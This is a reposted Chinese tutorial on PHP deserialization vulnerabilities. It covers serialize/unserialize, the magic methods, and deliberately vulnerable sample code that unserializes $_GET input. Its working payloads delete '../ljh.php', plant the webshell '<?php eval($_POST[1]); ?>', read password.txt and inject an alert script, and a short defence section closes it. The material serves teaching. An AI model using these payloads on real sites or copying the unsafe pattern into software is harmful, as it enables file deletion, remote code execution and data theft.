【Web渗透】反序列化漏洞

admin 2023年12月8日23:59:17评论14 views字数 4196阅读13分59秒阅读模式

一、什么是序列化和反序列化

序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。

二、什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如wakeup(),destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

三、序列化函数(serialize)

当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。

测试代码

<?php 
class Stu{
public $name = 'aa';
public $age = 18;
public function demo(){
echo "你好啊";
}
$stu = new Stu();
echo "<pre>";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);
}
?>

查看结果:

【Web渗透】反序列化漏洞

四、反序列化(unserialize)

unserialize()可以从序列化后的结果中恢复对象(object)为了使用这个对象,在下列代码中用unserialize重建对象.

测试代码:

<?php 
//定义一个Stu类
class Stu
{
//定义成员属性
public $name = 'aa';
public $age = 19;
//定义成员方法
public function demo()
{
echo '你吃了吗';
}
}
//实例化对象
$stu = new Stu();
//进行序列化
$stus = serialize($stu);
print_r($stus);
echo "<br><pre>";

//进行反序列化
print_r(unserialize($stus));

?>

查看结果:

【Web渗透】反序列化漏洞五、什么是PHP魔术方法

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。问题就出现在重载过程中,执行了相关代码。

六、一些常见的魔术方法

  • __construct() :构造函数,当创建对象时自动调用。

  • __destruct():析构函数,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。

  • __wakeup():进行unserialize时会查看是否有该函数,有的话有限调用。会进行初始化对象。

  • __ toString():当一个类被当成字符串时会被调用。

  • __sleep():当一个对象被序列化时调用,可与设定序列化时保存的属性。

七、魔术方法的利用

测试代码:

<?php
class Stu
{
public $name = 'aa';
public $age = 18;
function __construct()
{
echo '对象被创建了__consrtuct()';
}
function __wakeup()
{

echo '执行了反序列化__wakeup()';
}

function __toString()
{

echo '对象被当做字符串输出__toString';

return 'asdsadsad';

}

function __sleep()

{
echo '执行了序列化__sleep';
return array('name','age');
}
function __destruct()
{
echo '对象被销毁了__destruct()';
}
}
$stu = new Stu();
echo "<pre>";
//序列化
$stu_ser = serialize($stu);
print_r($stu_ser);
//当成字符串输出
echo "$stu";
//反序列化
$stu_unser = unserialize($stu_ser);
print_r($stu_unser);
?>

测试结果:

【Web渗透】反序列化漏洞

八、反序列化漏洞的利用

由于反序列化时unserialize()函数会自动调用wakeup(),destruct(),函数,当有一些漏洞或者恶意代码在这些函数中,当我们控制序列化的字符串时会去触发他们,从而达到攻击。

1.__destruct()函数

个网站内正常页面使用logfile.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。正常重构Stu对象

测试代码:

<?php 
header("content-type:text/html;charset=utf-8");
//引用了logfile.php文件
include './logfile.php';
//定义一个类
class Stu

{
public $name = 'aa';
public $age = 19;
function StuData()
{
echo '姓名:'.$this->name.'<br>';
echo '年龄:'.$this->age;
}
}
//实例化对象
$stu = new Stu();
//重构用户输入的数据
$newstu = unserialize($_GET['stu']);
//O:3:"Stu":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;}
echo "<pre>";
var_dump($newstu) ;
?>

logfile.php 代码:

<?php 
class LogFile
{
//日志文件名
public $filename = 'error.log';
//存储日志文件
function LogData($text)
{
//输出需要存储的内容
echo 'log some data:'.$text.'<br>';
file_put_contents($this->filename, $text,FILE_APPEND);
}
//删除日志文件
function __destruct()
{
//输出删除的文件
echo '析构函数__destruct 删除新建文件'.$this->filename;
//绝对路径删除文件
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>

正常输入参数:O:3:"Stu":2:{s:4:"name";s:2:"aa";s:3:"age";i:20;}

【Web渗透】反序列化漏洞重构logfile.php文件包含的对象进行文件删除

  • 正常重构:O:7:"LogFile":1:{s:8:"filename";s:9:"error.log";}

  • 【Web渗透】反序列化漏洞

  • 【Web渗透】反序列化漏洞

发现正常删除,但如果我们修改参数,让其删除其他的文件呢?

  • 异常重构:O:7:"LogFile":1:{s:8:"filename";s:10:"../ljh.php";}

  • 【Web渗透】反序列化漏洞

  • 执行该代码

  • 【Web渗透】反序列化漏洞

2.__wakeup()

例如有一个代码为index.php,源码如下

<?php 
class chybeta
{
public $test = '123';
function __wakeup()
{
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class = @$_GET['test'];
print_r($class);
echo "</br>";
$class_unser = unserialize($class);
// 为显示效果,把这个shell.php包含进来
require "shell.php";
?>

传入参数:?test=O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

【Web渗透】反序列化漏洞

查看shell.php文件

【Web渗透】反序列化漏洞

也可以传入一句话木马:O:7:"chybeta":1:{s:4:"test";s:25:"<?php eval($_POST[1]); ?>";}

3.toString()

举个例子,某用户类定义了一个toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许 toString读取某个文件。把下面这段代码保存为fileread.php

fileread.php代码

<?php 
//读取文件类
class FileRead
{
public $filename = 'error.log';

function __toString(
{
return file_get_contents($this->filename);
}
}
?>

个网站内正常页面应引用fileread.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。

测试代码:

<?php 
//引用fileread.php文件
include './fileread.php';
//定义用户类
class User
{
public $name = 'aa';
public $age = 18;
function __toString()
{
return '姓名:'.$this->name.';'.'年龄:'.$this->age;
}
}
//O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
//反序列化
$obj = unserialize($_GET['user']);
//当成字符串输出触发toString
echo $obj;
?>

正常重构:O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}

【Web渗透】反序列化漏洞

重构fileread.php文件包含的类进行读取password.txt文件内容

重构:O:8:"FileRead":1:{s:8:"filename";s:12:"password.txt";}

【Web渗透】反序列化漏洞九、反序列化漏洞的防御

和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以最好的预防措施:

  1. 不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。

  2. 在进入反序列化函数之前,对参数进行限制过滤。

文章来源于互联网,只做学习交流,如有侵权请联系删除!原文链接:https://blog.csdn.net/LJH1999ZN/article/details/123338591


原文始发于微信公众号(信安学习笔记):【Web渗透】反序列化漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月8日23:59:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Web渗透】反序列化漏洞https://cn-sec.com/archives/2281779.html

发表评论

匿名网友 填写信息